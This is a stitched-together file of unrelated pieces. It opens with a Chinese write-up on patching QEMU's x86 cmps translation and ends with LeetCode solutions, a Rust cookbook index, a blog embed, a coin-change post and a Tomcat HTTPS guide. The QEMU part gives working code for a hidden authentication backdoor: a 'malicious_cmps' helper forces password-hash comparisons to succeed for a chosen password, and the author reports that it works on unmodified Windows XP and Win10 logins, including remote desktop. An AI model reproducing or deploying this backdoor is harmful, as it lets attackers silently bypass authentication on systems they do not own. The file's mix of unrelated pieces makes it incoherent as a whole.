DisasContextBase base;
target_ulong pc; /* pc = eip + cs_base */
target_ulong pc_start; /* pc at TB entry */
target_ulong cs_base; /* base of CS segment */
MemOp aflag;
MemOp dflag;
int8_t override; /* -1 if no override, else R_CS, R_DS, etc */
uint8_t prefix;
#ifndef CONFIG_USER_ONLY
uint8_t cpl; /* code priv level */
uint8_t iopl; /* i/o priv level */
#endif
uint8_t vex_l; /* vex vector length */
uint8_t vex_v; /* vex vvvv register, without 1's complement. */
uint8_t popl_esp_hack; /* for correct popl with esp base handling */
uint8_t rip_offset; /* only used in x86_64, but left for simplicity */
#ifdef TARGET_X86_64
uint8_t rex_r;
uint8_t rex_x;
uint8_t rex_b;
bool rex_w;
#endif
bool jmp_opt; /* use direct block chaining for direct jumps */
bool repz_opt; /* optimize jumps within repz instructions */
bool cc_op_dirty;
CCOp cc_op; /* current CC operation */
int mem_index; /* select memory access functions */
uint32_t flags; /* all execution flags */
int cpuid_features;
int cpuid_ext_features;
int cpuid_ext2_features;
int cpuid_ext3_features;
int cpuid_7_0_ebx_features;
int cpuid_xsave_features;
/* TCG local temps */
TCGv cc_srcT;
TCGv A0;
TCGv T0;
TCGv T1;
/* TCG local register indexes (only used inside old micro ops) */
TCGv tmp0;
TCGv tmp4;
TCGv_ptr ptr0;
TCGv_ptr ptr1;
TCGv_i32 tmp2_i32;
TCGv_i32 tmp3_i32;
TCGv_i64 tmp1_i64;
sigjmp_buf jmpbuf;
} DisasContext;
`````
gen_op涉及到这两个参数, **OP_CMPL** **OR_TMP0**
`````c
/* if d == OR_TMP0, it means memory operand (address in A0) */
static void gen_op(DisasContext *s1, int op, MemOp ot, int d)
{
if (d != OR_TMP0) {
if (s1->prefix & PREFIX_LOCK) {
/* Lock prefix when destination is not memory. */
gen_illegal_opcode(s1);
return;
}
gen_op_mov_v_reg(s1, ot, s1->T0, d);
} else if (!(s1->prefix & PREFIX_LOCK)) {
gen_op_ld_v(s1, ot, s1->T0, s1->A0);
}
switch(op) {
case OP_ADCL:
gen_compute_eflags_c(s1, s1->tmp4);
if (s1->prefix & PREFIX_LOCK) {
tcg_gen_add_tl(s1->T0, s1->tmp4, s1->T1);
tcg_gen_atomic_add_fetch_tl(s1->T0, s1->A0, s1->T0,
s1->mem_index, ot | MO_LE);
} else {
tcg_gen_add_tl(s1->T0, s1->T0, s1->T1);
tcg_gen_add_tl(s1->T0, s1->T0, s1->tmp4);
gen_op_st_rm_T0_A0(s1, ot, d);
}
gen_op_update3_cc(s1, s1->tmp4);
set_cc_op(s1, CC_OP_ADCB + ot);
break;
case OP_SBBL:
gen_compute_eflags_c(s1, s1->tmp4);
if (s1->prefix & PREFIX_LOCK) {
tcg_gen_add_tl(s1->T0, s1->T1, s1->tmp4);
tcg_gen_neg_tl(s1->T0, s1->T0);
tcg_gen_atomic_add_fetch_tl(s1->T0, s1->A0, s1->T0,
s1->mem_index, ot | MO_LE);
} else {
tcg_gen_sub_tl(s1->T0, s1->T0, s1->T1);
tcg_gen_sub_tl(s1->T0, s1->T0, s1->tmp4);
gen_op_st_rm_T0_A0(s1, ot, d);
}
gen_op_update3_cc(s1, s1->tmp4);
set_cc_op(s1, CC_OP_SBBB + ot);
break;
case OP_ADDL:
if (s1->prefix & PREFIX_LOCK) {
tcg_gen_atomic_add_fetch_tl(s1->T0, s1->A0, s1->T1,
s1->mem_index, ot | MO_LE);
} else {
tcg_gen_add_tl(s1->T0, s1->T0, s1->T1);
gen_op_st_rm_T0_A0(s1, ot, d);
}
gen_op_update2_cc(s1);
set_cc_op(s1, CC_OP_ADDB + ot);
break;
case OP_SUBL:
if (s1->prefix & PREFIX_LOCK) {
tcg_gen_neg_tl(s1->T0, s1->T1);
tcg_gen_atomic_fetch_add_tl(s1->cc_srcT, s1->A0, s1->T0,
s1->mem_index, ot | MO_LE);
tcg_gen_sub_tl(s1->T0, s1->cc_srcT, s1->T1);
} else {
tcg_gen_mov_tl(s1->cc_srcT, s1->T0);
tcg_gen_sub_tl(s1->T0, s1->T0, s1->T1);
gen_op_st_rm_T0_A0(s1, ot, d);
}
gen_op_update2_cc(s1);
set_cc_op(s1, CC_OP_SUBB + ot);
break;
default:
case OP_ANDL:
if (s1->prefix & PREFIX_LOCK) {
tcg_gen_atomic_and_fetch_tl(s1->T0, s1->A0, s1->T1,
s1->mem_index, ot | MO_LE);
} else {
tcg_gen_and_tl(s1->T0, s1->T0, s1->T1);
gen_op_st_rm_T0_A0(s1, ot, d);
}
gen_op_update1_cc(s1);
set_cc_op(s1, CC_OP_LOGICB + ot);
break;
case OP_ORL:
if (s1->prefix & PREFIX_LOCK) {
tcg_gen_atomic_or_fetch_tl(s1->T0, s1->A0, s1->T1,
s1->mem_index, ot | MO_LE);
} else {
tcg_gen_or_tl(s1->T0, s1->T0, s1->T1);
gen_op_st_rm_T0_A0(s1, ot, d);
}
gen_op_update1_cc(s1);
set_cc_op(s1, CC_OP_LOGICB + ot);
break;
case OP_XORL:
if (s1->prefix & PREFIX_LOCK) {
tcg_gen_atomic_xor_fetch_tl(s1->T0, s1->A0, s1->T1,
s1->mem_index, ot | MO_LE);
} else {
tcg_gen_xor_tl(s1->T0, s1->T0, s1->T1);
gen_op_st_rm_T0_A0(s1, ot, d);
}
gen_op_update1_cc(s1);
set_cc_op(s1, CC_OP_LOGICB + ot);
break;
case OP_CMPL:
tcg_gen_mov_tl(cpu_cc_src, s1->T1);
tcg_gen_mov_tl(s1->cc_srcT, s1->T0);
tcg_gen_sub_tl(cpu_cc_dst, s1->T0, s1->T1);
set_cc_op(s1, CC_OP_SUBB + ot);
break;
}
}
`````
基本意思就是把A0地址里的值读出送到T0，然后和T1里的值做减法并设置标志位。
下一句，gen_op_movl_T0_Dshift(s, ot);
是读D flag到T0去
>**Directional Flag (D)** – This flag is specifically used in string instructions.
>If directional flag is set (1), then access the string data from higher memory location towards lower memory location.
>If directional flag is reset (0), then access the string data from lower memory location towards higher memory location.
后面两句
`````c
gen_op_add_reg_T0(s, s->aflag, R_ESI);
gen_op_add_reg_T0(s, s->aflag, R_EDI);
`````
就是根据D flag，ESI和EDI地址都递增或递减。
-------------------------------------------------
要改变cmps的结果，关键是要修改`gen_op(s, OP_CMPL, ot, OR_TMP0);`这句。
在里面的减法操作里，关键是要改标志位。
`````c
case OP_CMPL:
tcg_gen_mov_tl(cpu_cc_src, s1->T1);
tcg_gen_mov_tl(s1->cc_srcT, s1->T0);
tcg_gen_sub_tl(cpu_cc_dst, s1->T0, s1->T1);
set_cc_op(s1, CC_OP_SUBB + ot);
break;
}
}
`````
又涉及到`set_cc_op()`, 而这个标志位又比较复杂，看下面这段注释。
`````c
/* Instead of computing the condition codes after each x86 instruction,
* QEMU just stores one operand (called CC_SRC), the result
* (called CC_DST) and the type of operation (called CC_OP). When the
* condition codes are needed, the condition codes can be calculated
* using this information. Condition codes are not generated if they
* are only needed for conditional branches.
*/
typedef enum {
CC_OP_DYNAMIC, /* must use dynamic code to get cc_op */
CC_OP_EFLAGS, /* all cc are explicitly computed, CC_SRC = flags */
CC_OP_MULB, /* modify all flags, C, O = (CC_SRC != 0) */
CC_OP_MULW,
CC_OP_MULL,
CC_OP_MULQ,
CC_OP_ADDB, /* modify all flags, CC_DST = res, CC_SRC = src1 */
CC_OP_ADDW,
CC_OP_ADDL,
CC_OP_ADDQ,
CC_OP_ADCB, /* modify all flags, CC_DST = res, CC_SRC = src1 */
CC_OP_ADCW,
CC_OP_ADCL,
CC_OP_ADCQ,
CC_OP_SUBB, /* modify all flags, CC_DST = res, CC_SRC = src1 */
CC_OP_SUBW,
CC_OP_SUBL,
CC_OP_SUBQ,
CC_OP_SBBB, /* modify all flags, CC_DST = res, CC_SRC = src1 */
CC_OP_SBBW,
CC_OP_SBBL,
CC_OP_SBBQ,
CC_OP_LOGICB, /* modify all flags, CC_DST = res */
CC_OP_LOGICW,
CC_OP_LOGICL,
CC_OP_LOGICQ,
CC_OP_INCB, /* modify all flags except, CC_DST = res, CC_SRC = C */
CC_OP_INCW,
CC_OP_INCL,
CC_OP_INCQ,
CC_OP_DECB, /* modify all flags except, CC_DST = res, CC_SRC = C */
CC_OP_DECW,
CC_OP_DECL,
CC_OP_DECQ,
CC_OP_SHLB, /* modify all flags, CC_DST = res, CC_SRC.msb = C */
CC_OP_SHLW,
CC_OP_SHLL,
CC_OP_SHLQ,
CC_OP_SARB, /* modify all flags, CC_DST = res, CC_SRC.lsb = C */
CC_OP_SARW,
CC_OP_SARL,
CC_OP_SARQ,
CC_OP_BMILGB, /* Z,S via CC_DST, C = SRC==0; O=0; P,A undefined */
CC_OP_BMILGW,
CC_OP_BMILGL,
CC_OP_BMILGQ,
CC_OP_ADCX, /* CC_DST = C, CC_SRC = rest. */
CC_OP_ADOX, /* CC_DST = O, CC_SRC = rest. */
CC_OP_ADCOX, /* CC_DST = C, CC_SRC2 = O, CC_SRC = rest. */
CC_OP_CLR, /* Z set, all other flags clear. */
CC_OP_POPCNT, /* Z via CC_SRC, all other flags clear. */
CC_OP_NB,
} CCOp;
`````
为了改cmp的结构，比如改成想等，我是不是可以这样
`````c
case OP_CMPL:
tcg_gen_mov_tl(cpu_cc_src, 0);
tcg_gen_mov_tl(s1->cc_srcT, 0);
tcg_gen_sub_tl(cpu_cc_dst, 0, 0);
set_cc_op(s1, CC_OP_SUBB + ot);
break;
}
}
`````
因为比较指令不会把值传给任何地方，所以我都用0。这样在后面用到flag的时候，比较后的值也会是想等。
要验证下这里直接给0行不行。这里的参数类型是TCGv_i64。
`````c
/* Define type and accessor macros for TCG variables.
TCG variables are the inputs and outputs of TCG ops, as described
in tcg/README. Target CPU front-end code uses these types to deal
with TCG variables as it emits TCG code via the tcg_gen_* functions.
They come in several flavours:
* TCGv_i32 : 32 bit integer type
* TCGv_i64 : 64 bit integer type
* TCGv_ptr : a host pointer type
* TCGv_vec : a host vector type; the exact size is not exposed
to the CPU front-end code.
* TCGv : an integer type the same size as target_ulong
(an alias for either TCGv_i32 or TCGv_i64)
The compiler's type checking will complain if you mix them
up and pass the wrong sized TCGv to a function.
Users of tcg_gen_* don't need to know about any of the internal
details of these, and should treat them as opaque types.
You won't be able to look inside them in a debugger either.
Internal implementation details follow:
Note that there is no definition of the structs TCGv_i32_d etc anywhere.
This is deliberate, because the values we store in variables of type
TCGv_i32 are not really pointers-to-structures. They're just small
integers, but keeping them in pointer types like this means that the
compiler will complain if you accidentally pass a TCGv_i32 to a
function which takes a TCGv_i64, and so on. Only the internals of
TCG need to care about the actual contents of the types. */
typedef struct TCGv_i32_d *TCGv_i32;
typedef struct TCGv_i64_d *TCGv_i64;
typedef struct TCGv_ptr_d *TCGv_ptr;
typedef struct TCGv_vec_d *TCGv_vec;
typedef TCGv_ptr TCGv_env;
#if TARGET_LONG_BITS == 32
#define TCGv TCGv_i32
#elif TARGET_LONG_BITS == 64
#define TCGv TCGv_i64
#else
#error Unhandled TARGET_LONG_BITS value
#endif
`````
---
现在看要怎样插入代码进取。在`disas_insn()`里，是不能用printf的，要想加自己的功能，需要加helper函数。
例如，在`disas_insn()`里处理读cr寄存器的代码
`````c
if (b & 2) {
gen_svm_check_intercept(s, SVM_EXIT_WRITE_CR0 + reg);
gen_op_mov_v_reg(s, ot, s->T0, rm);
gen_helper_write_crN(cpu_env, tcg_constant_i32(reg), s->T0);
gen_jmp_im(s, s->pc - s->cs_base);
gen_eob(s);
} else {
gen_svm_check_intercept(s, SVM_EXIT_READ_CR0 + reg);
gen_helper_read_crN(s->T0, cpu_env, tcg_constant_i32(reg));
gen_op_mov_reg_v(s, ot, rm, s->T0);
if (tb_cflags(s->base.tb) & CF_USE_ICOUNT) {
gen_jmp(s, s->pc - s->cs_base);
}
}
break;
`````
里面是叫`gen_helper_read_crN()`，gen表示代码会被重新生成。
而函数的实现是在
**target/i386/tcg/sysemu/misc_helper.c**
`````c
target_ulong helper_read_crN(CPUX86State *env, int reg)
{
target_ulong val;
switch (reg) {
default:
val = env->cr[reg];
break;
case 8:
if (!(env->hflags2 & HF2_VINTR_MASK)) {
val = cpu_get_apic_tpr(env_archcpu(env)->apic_state);
} else {
val = env->int_ctl & V_TPR_MASK;
}
break;
}
return val;
}
`````
名字不一样，没有了前面的gen。
而这个函数是需要用宏声明的
**target/i386/helper.h**
`````c
DEF_HELPER_1(rdmsr, void, env)
DEF_HELPER_1(wrmsr, void, env)
DEF_HELPER_FLAGS_2(read_crN, TCG_CALL_NO_RWG, tl, env, int)
DEF_HELPER_FLAGS_3(write_crN, TCG_CALL_NO_RWG, void, env, int, tl)
#endif /* !CONFIG_USER_ONLY */
`````
而声明的时候，名字前面的helper也没了。
一般第二个参数是返回值，后面是相应的函数的参数。
但这个是DEF_HELPER_**FLAGS**_2，所以第二个参数插入了一个flag，还不知道这个flag是什么作用，定义在这里。
**include/tcg/tcg.h**
`````c
/* call flags */
/* Helper does not read globals (either directly or through an exception). It
implies TCG_CALL_NO_WRITE_GLOBALS. */
#define TCG_CALL_NO_READ_GLOBALS 0x0001
/* Helper does not write globals */
#define TCG_CALL_NO_WRITE_GLOBALS 0x0002
/* Helper can be safely suppressed if the return value is not used. */
#define TCG_CALL_NO_SIDE_EFFECTS 0x0004
/* Helper is QEMU_NORETURN. */
#define TCG_CALL_NO_RETURN 0x0008
/* convenience version of most used call flags */
#define TCG_CALL_NO_RWG TCG_CALL_NO_READ_GLOBALS
#define TCG_CALL_NO_WG TCG_CALL_NO_WRITE_GLOBALS
#define TCG_CALL_NO_SE TCG_CALL_NO_SIDE_EFFECTS
#define TCG_CALL_NO_RWG_SE (TCG_CALL_NO_RWG | TCG_CALL_NO_SE)
#define TCG_CALL_NO_WG_SE (TCG_CALL_NO_WG | TCG_CALL_NO_SE)
`````
---------------------
先举个例子测试下。
在target/i386/tcg/sysemu/misc_helper.c里加上这个`helper_malicious_cmps()`，没有返回值。
因为刚才加返回值总crash，先来个简单的。
`````c
void helper_malicious_cmps(CPUX86State *env, uint32_t edi)
{
if (edi == 0x97e6bd3d || edi == 0xa79016d7 || edi == 0xeb4b2069 || edi == 0x78362812)
{
printf("helper_malicious_cmps: edi 0x%x\n", edi);
}
}
`````
在`gen_cmps()`里加调用这个helper函数，传进的参数是edi里的地址读出来的值，上一条代码把它存在s->T1了。
`````c
static inline void gen_cmps(DisasContext *s, MemOp ot)
{
gen_string_movl_A0_EDI(s);
gen_op_ld_v(s, ot, s->T1, s->A0);
// uty: test
gen_helper_malicious_cmps(cpu_env, s->T1);
gen_string_movl_A0_ESI(s);
gen_op(s, OP_CMPL, ot, OR_TMP0);
gen_op_movl_T0_Dshift(s, ot);
gen_op_add_reg_T0(s, s->aflag, R_ESI);
gen_op_add_reg_T0(s, s->aflag, R_EDI);
}
`````
还需要在target/i386/helper.h里声明这个helper函数，i32作为参数类型编译时没出warning，还凑合。
`````c
DEF_HELPER_2(malicious_cmps, void, env, i32)
`````
加了这几句，编译好了跑下虚拟机，结果还真对了。
`````
u@unamed:~/prjs/vm/xpsp3$ ./startvm.sh
QEMU 6.1.93 monitor - type 'help' for more information
(qemu) helper_malicious_cmps: edi 0x97e6bd3d
`````
代码里是123的rc4 hash，当我输入密码时，tcg里刚加的这个helper确实找到了最开头的4个字节0x97e6bd3d。
由于这4个字节比较就没通过，所以也没有后续的12字节过来做比较了。
系统是xpsp3，没有做过改动，里面调用的RtlCompareMemory()，到一条repz cmps指令，最终到单个的cmps指令。
---------------------------
TCGv的变量，只能用tcg_gen_*系列的函数（例如`tcg_gen_movcond_tl()`）来操作，不能直接在代码里读写。
而上面说的helper函数，传进的TCGv是做过转化的，在helper函数里可以直接访问。
helper函数返回值也是TCGv的类型。
`````c
static inline void gen_cmps(DisasContext *s, MemOp ot)
{
TCGv ret0;
ret0 = tcg_temp_local_new();
gen_string_movl_A0_EDI(s);
gen_op_ld_v(s, ot, s->T1, s->A0);
gen_string_movl_A0_ESI(s);
// uty: test
/* store value = (old == cmp ? new : old); */
//tcg_gen_movcond_tl(TCG_COND_EQ, newv, oldv, cmpv, newv, oldv);
gen_helper_malicious_cmps(ret0, cpu_env, s->T1);
//gen_op(s, OP_CMPL, ot, OR_TMP0);
gen_malicious_op(s, OP_CMPL, ot, OR_TMP0, ret0);
gen_op_movl_T0_Dshift(s, ot);
gen_op_add_reg_T0(s, s->aflag, R_ESI);
gen_op_add_reg_T0(s, s->aflag, R_EDI);
tcg_temp_free(ret0);
}
`````
`````c
// uty: test
target_ulong helper_malicious_cmps(CPUX86State *env, uint32_t edi)
{
target_ulong val = 0;
if (edi == 0x97e6bd3d || edi == 0xa79016d7 || edi == 0xeb4b2069 || edi == 0x78362812)
{
printf("helper_malicious_cmps: edi 0x%x\n", edi);
val = 1;
}
return val;
}
`````
helper函数的好处就是可以printf，直接写一般c程序就行。
不好搞的地方就是helper的返回值是TCGv，不能直接用，比如不能`if (0 != ret0)`
要用tcg_gen_*这种tcg开头的函数处理TCGv。
要用条件语句的话就可以用`tcg_gen_movcond_tl()`这种。不过这个没有文档，参数又多，只在代码里发现这么次调用，
解释了用法。
`````c
/* store value = (old == cmp ? new : old); */
//tcg_gen_movcond_tl(TCG_COND_EQ, newv, oldv, cmpv, newv, oldv);
`````
一旦发现是要找的特殊值，就直接把比较的结果改了，比如T0 T1都改成1，怎么比较都是相等的了。
`````c
case OP_CMPL:
{
// uty: test
TCGv one;
one = tcg_constant_tl(1); // no need to free
tcg_gen_movcond_tl(TCG_COND_EQ, s1->T0, ret0, one, one, s1->T0);
tcg_gen_movcond_tl(TCG_COND_EQ, s1->T1, ret0, one, one, s1->T1);
tcg_gen_mov_tl(cpu_cc_src, s1->T1);
tcg_gen_mov_tl(s1->cc_srcT, s1->T0);
tcg_gen_sub_tl(cpu_cc_dst, s1->T0, s1->T1);
set_cc_op(s1, CC_OP_SUBB + ot);
tcg_temp_free(one); // tcg_temp_free will simply ignore it
}
break;
`````
不用helper函数也行，在这里多加几个tcg_gen_mov_tl来判断值就行。
有helper主要是方便printf。
效果图，xp系统没改动。
------------------------
这个是在windows系统上验证。
测cpu的时候就没法搞x86了，只能是sparc或者risc-v，而且也装不上windows，只能实验unix/linux系统。
刚才又试了下在创建新用户设置密码的思时候用了同样的密码123，结果还行，没出现冲突。有意思的时，
当这个用户登陆的时候，这个16字节的rc4 hash会被cmps两边，现象就是上面的图上，输出的部分多了一
边。也没去看这算什么情况，不影响登陆。
------------------------
后来又试了下Win10 64位，本以为会有些变化，结果还是rc4，代码几乎不用变，只要在x86_64上编译就可以了。
也就是说，只要是装Windows操作系统（没有验证全部，只试了xp 32bit，win10 64bit），这个后门就会隐蔽的一直发挥作用。
远程桌面也是通过这套验证逻辑，也可以用。域控制器还没试过。
`````c
#ifdef TARGET_X86_64
target_ulong helper_malicious_cmps(CPUX86State *env, uint64_t rdi)
{
target_ulong val = 0;
//printf("helper_malicious_cmps: rdi 0x%llx\n", (long long unsigned int)rdi);
if (rdi == 0xa79016d797e6bd3d || rdi == 0x78362812eb4b2069)
{
printf("helper_malicious_cmps: edi 0x%llx\n", (long long unsigned int)rdi);
val = 1;
}
return val;
}
#else
target_ulong helper_malicious_cmps(CPUX86State *env, uint32_t edi)
{
target_ulong val = 0;
if (edi == 0x97e6bd3d || edi == 0xa79016d7 || edi == 0xeb4b2069 || edi == 0x78362812)
{
printf("helper_malicious_cmps: edi 0x%x\n", edi);
val = 1;
}
return val;
}
#endif
`````
还有就是编译的时候，configure的参数，之前是这样，在build目录下，带了好几个参数。
`````
../configure --target-list=x86_64-softmmu --enable-tcg-interpreter --enable-debug-tcg --enable-debug-info
`````
--enable-tcg-interpreter --enable-debug-tcg --enable-debug-info 这几个参数会让编译出来的虚拟机特别慢。
而且试了下好像也不需要。只用指定是x86_64-softmmu或者i386-softmmu就行，这就会用tcg了。
`````
../configure --target-list=x86_64-softmmu
`````
-------------
后面就是实现在CPU的ALU里，在FPGA上跑。 | 27,946 | CC0-1.0 |
### 118. 杨辉三角
> 题目
[链接](https://leetcode-cn.com/problems/pascals-triangle/)
> 思路
循环
> 代码
```js
/**
* @param {number} numRows
* @return {number[][]}
*/
var generate = function (numRows) {
let i = 0;
let result = [];
while (i < numRows) {
let array = [1];
if (i > 0) {
const prevArray = result[result.length - 1];
for (let i = 0; i < prevArray.length; i++) {
array.push(prevArray[i] + (prevArray[i + 1] || 0));
}
}
result.push(array);
i++;
}
return result;
};
```
> 复杂度分析
时间复杂度：O(n ^ 2)。
空间复杂度：O(1)。
> 执行
执行用时：80 ms, 在所有 JavaScript 提交中击败了72.91%的用户
内存消耗：37.7 MB, 在所有 JavaScript 提交中击败了65.44%的用户 | 720 | MIT |
# [Medium][114. Flatten Binary Tree to Linked List](https://leetcode.com/problems/flatten-binary-tree-to-linked-list/)
Given a binary tree, flatten it to a linked list in-place.
For example, given the following tree:
```text
1
/ \
2 5
/ \ \
3 4 6
```
The flattened tree should look like:
```text
1
\
2
\
3
\
4
\
5
\
6
```
## 思路 - 后续遍历
这个题目的要求是将二叉树扁平化。采用的方法是后续遍历。
1. 后续遍历走到树的最左侧。
2. 如果是叶子节点直接返回到上一层。
3. 如果左子树为空，那么不用做什么。
4. 如果左右子树不为空，则要将右子树接到左子树的最右下角。（参考BST的删除的方式）
## 代码 - 后序遍历
```csharp
/**
* Definition for a binary tree node.
* public class TreeNode {
* public int val;
* public TreeNode left;
* public TreeNode right;
* public TreeNode(int x) { val = x; }
* }
*/
public class Solution {
public void Flatten(TreeNode root) {
if(root == null) return;
if(root.left != null) Flatten(root.left);
if(root.right != null) Flatten(root.right);
// postorder traversal
if(root.left == null) return;
if(root.right != null) FlattenHelper(root.left, root.right);
root.right = root.left;
root.left = null;
}
private void FlattenHelper(TreeNode left, TreeNode right)
{
if(left.right != null)
{
FlattenHelper(left.right, right);
}
else
{
left.right = right;
}
}
}
``` | 1,417 | MIT |
## 调试工具
<!--
> [development_tools/debugging.md](https://github.com/rust-lang-nursery/rust-cookbook/blob/master/src/development_tools/debugging.md)
> <br />
> commit 97dabe59ae705bf6a2aaebbcd1d189ec2a83f98b - 2018.07.11
-->
## 日志信息
| 实例名称 | Crates | 类别 |
|--------|--------|------------|
| [记录调试信息到控制台][ex-log-debug] | [![log-badge]][log] [![env_logger-badge]][env_logger] | [![cat-debugging-badge]][cat-debugging] |
| [记录错误信息到控制台][ex-log-error] | [![log-badge]][log] [![env_logger-badge]][env_logger] | [![cat-debugging-badge]][cat-debugging] |
| [记录信息时，用标准输出 stdout 替换标准错误 stderr][ex-log-stdout] | [![log-badge]][log] [![env_logger-badge]][env_logger] | [![cat-debugging-badge]][cat-debugging] |
| [使用自定义日志记录器记录信息][ex-log-custom-logger] | [![log-badge]][log] | [![cat-debugging-badge]][cat-debugging] |
| [记录到 Unix 系统日志][ex-log-syslog] | [![log-badge]][log] [![syslog-badge]][syslog] | [![cat-debugging-badge]][cat-debugging] |
## 日志配置
| 实例名称 | Crates | 类别 |
|--------|--------|------------|
| [启用每个模块的日志级别][ex-log-mod] | [![log-badge]][log] [![env_logger-badge]][env_logger] | [![cat-debugging-badge]][cat-debugging] |
| [用自定义环境变量设置日志记录][ex-log-env-variable] | [![log-badge]][log] [![env_logger-badge]][env_logger] | [![cat-debugging-badge]][cat-debugging] |
| [在日志信息中包含时间戳][ex-log-timestamp] | [![log-badge]][log] [![env_logger-badge]][env_logger] [![chrono-badge]][chrono] | [![cat-debugging-badge]][cat-debugging] |
| [将信息记录到自定义位置][ex-log-custom] | [![log-badge]][log] [![log4rs-badge]][log4rs] | [![cat-debugging-badge]][cat-debugging] |
[ex-log-debug]: /development_tools/debugging/log.md#记录调试信息到控制台
[ex-log-error]: /development_tools/debugging/log.md#记录错误信息到控制台
[ex-log-stdout]: /development_tools/debugging/log.md#记录信息时用标准输出-stdout-替换标准错误-stderr
[ex-log-custom-logger]: /development_tools/debugging/log.md#使用自定义日志记录器记录信息
[ex-log-syslog]: /development_tools/debugging/log.md#记录到-unix-系统日志
[ex-log-mod]: /development_tools/debugging/config_log.md#启用每个模块的日志级别
[ex-log-env-variable]: /development_tools/debugging/config_log.md#用自定义环境变量设置日志记录
[ex-log-timestamp]: /development_tools/debugging/config_log.md#在日志信息中包含时间戳
[ex-log-custom]: /development_tools/debugging/config_log.md#将信息记录到自定义位置
{{#include ../links.md}} | 2,227 | Apache-2.0 |
---
author: ''
categories: [中國戰略分析]
date: 2018-05-28
from: http://zhanlve.org/?p=5411
layout: post
tags: [中國戰略分析]
title: 文革博物馆公告片
---
<div id="entry">
<div class="at-above-post addthis_tool" data-url="http://zhanlve.org/?p=5411">
</div>
<p>
<img alt="" class="aligncenter size-full wp-image-5413" height="138" src="http://zhanlve.org/wp-content/uploads/2018/05/hqdefault-1.jpg" width="246"/>
</p>
<p>
<iframe allow="autoplay; encrypted-media" allowfullscreen="" frameborder="0" height="281" src="https://www.youtube.com/embed/8fH4PoC3iSo?feature=oembed" width="500">
</iframe>
</p>
<p>
天问联合学会下属的文化大革命博物馆筹备委员会在推动建立文革博物馆并已开始相关筹备工作。详情见
<a class="yt-simple-endpoint style-scope yt-formatted-string" href="https://www.youtube.com/redirect?redir_token=3XPy5iS_q7F5VyQ60E5z9R0jsfR8MTUyNzU2MzExNUAxNTI3NDc2NzE1&event=video_description&v=8fH4PoC3iSo&q=https%3A%2F%2Fwengebowuguan.com%2Fabout.html" spellcheck="false">
https://wengebowuguan.com/about.html
</a>
</p>
<!-- AddThis Advanced Settings above via filter on the_content -->
<!-- AddThis Advanced Settings below via filter on the_content -->
<!-- AddThis Advanced Settings generic via filter on the_content -->
<!-- AddThis Share Buttons above via filter on the_content -->
<!-- AddThis Share Buttons below via filter on the_content -->
<div class="at-below-post addthis_tool" data-url="http://zhanlve.org/?p=5411">
</div>
<!-- AddThis Share Buttons generic via filter on the_content -->
</div> | 1,465 | MIT |
---
title: 钱币兑换问题
author: Tao He
date: 2015-09-18
tag: Algorithm
category: Algorithm
layout: post
---
钱币兑换问题：
> 仅有 n 种指定面值的硬币(c1, c2, c3, ..., cn), 将钱 N 兑换成 这些面值的硬币，总共有多少种兑换方法？
<!--more-->
递推
----
最简单的递推的想法: 枚举每种货币的使用次数，当使用 `k` 次第 `n` 种硬币凑出了 `j` 钱数的方案，应当等于只使用了前 `n-1` 种硬币凑出了 `dp[j-k*coin[n]]` 钱数，而凑出钱数 `money` 的总方案，应当等于仅使用了
前 `1` 中硬币、仅使用的前 `2` 种硬币、...、仅使用了前 `n-1` 中硬币、使用了全部n种硬币的方案的**总和**。暗按照这个想法，直接递推求解即可。
~~~cpp
int dp[MAX_N] = {0};
int exchange(int money, int n, int coin[]) {
dp[0] = 1;
for(int i = 1; i <= n; ++i) {
for(int j = money; j >= coin[i]; --j) {
for(int k = j / coin[i]; k > 0; --k) {
dp[j] += dp[j - k*coin[i]];
}
}
}
return dp[money];
}
~~~
这个方法还可以进一步简化。在上面的方法中，我们从大往小地枚举钱数，考虑到每种硬币都有无限枚可以选，因此，在选择第 i 中硬币时，我们只需要从一个绝无已经选择第 `i` 种硬币的可能的情形 开始枚举递推即可。在具体实现上，只要改变总钱数 `j` 的递推顺序即可。进一步地，采用压缩空间的写法，代码如下：
~~~cpp
int dp[MAX_N] = {0};
int exchange(int money, int n, int coin[])
{
dp[0] = 1;
for(int i = 1; i <= n; ++i) {
for(int j = coin[i]; j <= money; ++j) {
dp[j] += dp[j-coin[i]];
}
}
return dp[money];
}
~~~
这种方法与求解完全背包的算法的思路有很大的相似之处。
母函数
------
钱币兑换问题本质上是一个组合问题：以 n 中硬币来组合出制定的钱数。因此，也可以通过母函数的方法来求解钱币组合问题。
$$\begin{aligned} f(n) &= (1+x+x^{c_1}+x^{2c_1}+\dots) \\
&\times (1+x+x^{c_2}+x^{2c_2}+\dots) \\
&\times \dots \\
&\times (1+x+x^{c_n}+x^{2c_m}+\dots)
\end{aligned}$$
所要求的兑换方案数，即第 $n$ 项的系数，接下来，模拟多项式展开即可。 | 1,517 | MIT |
---
layout: post
title: "Linux tomcat https访问设置"
subtitle: '小计安装过程'
author: "edyang"
header-style: text
tags:
- 运维
- 服务器
- linux
- ubuntu
- tomcat
---
记录tomcat https 配置
keytool -export -trustcacerts -alias tomcat -file server.cer -keystore server.keystore -storepass 900930
sudo /usr/lib/jvm/jdk7/bin/keytool -import -trustcacerts -alias tomcat -file ./server.cer -keystore /usr/lib/jvm/jdk7/jre/lib/security/cacerts -storepass 900930
## 1.使用jdk工具生成key文件
[plain] view plaincopyprint?
keytool -genkey -alias tomcat -keyalg RSA -keypass changeit -storepass changeit -keystore server.keystore -validity 3600
## 2.到tomcat/config/server.xml中找到
<!-- Define a SSL HTTP/1.1 Connector on port 8443
This connector uses the JSSE configuration, when using APR, the
connector should be using the OpenSSL style configuration
described in the APR documentation -->
<!--
<Connector port="8443" protocol="HTTP/1.1" SSLEnabled="true"
maxThreads="150" scheme="https" secure="true"
clientAuth="false" sslProtocol="TLS" />
-->
去掉注释,加入key文件配置
<Connector port="8443" protocol="HTTP/1.1" SSLEnabled="true"
maxThreads="150" scheme="https" secure="true"
clientAuth="false" sslProtocol="TLS"
keystoreFile="server.keystore"
keystorePass="changeit"/>
保存后重启tomcat可通过https://ip:8443/webproject(你的web项目)通过https访问,以上使用8443端口,若改为443在访问时可不加端口，因为443是https默认端口
强制https访问
在tomcat\conf\web.xml中的</welcome-file-list>后面加上以下配置:
<login-config>
<!-- Authorization setting for SSL -->
<auth-method>CLIENT-CERT</auth-method>
<realm-name>Client Cert Users-only Area</realm-name>
</login-config>
<security-constraint>
<!-- Authorization setting for SSL -->
<web-resource-collection >
<web-resource-name >SSL</web-resource-name>
<url-pattern>/*</url-pattern>
</web-resource-collection>
<user-data-constraint>
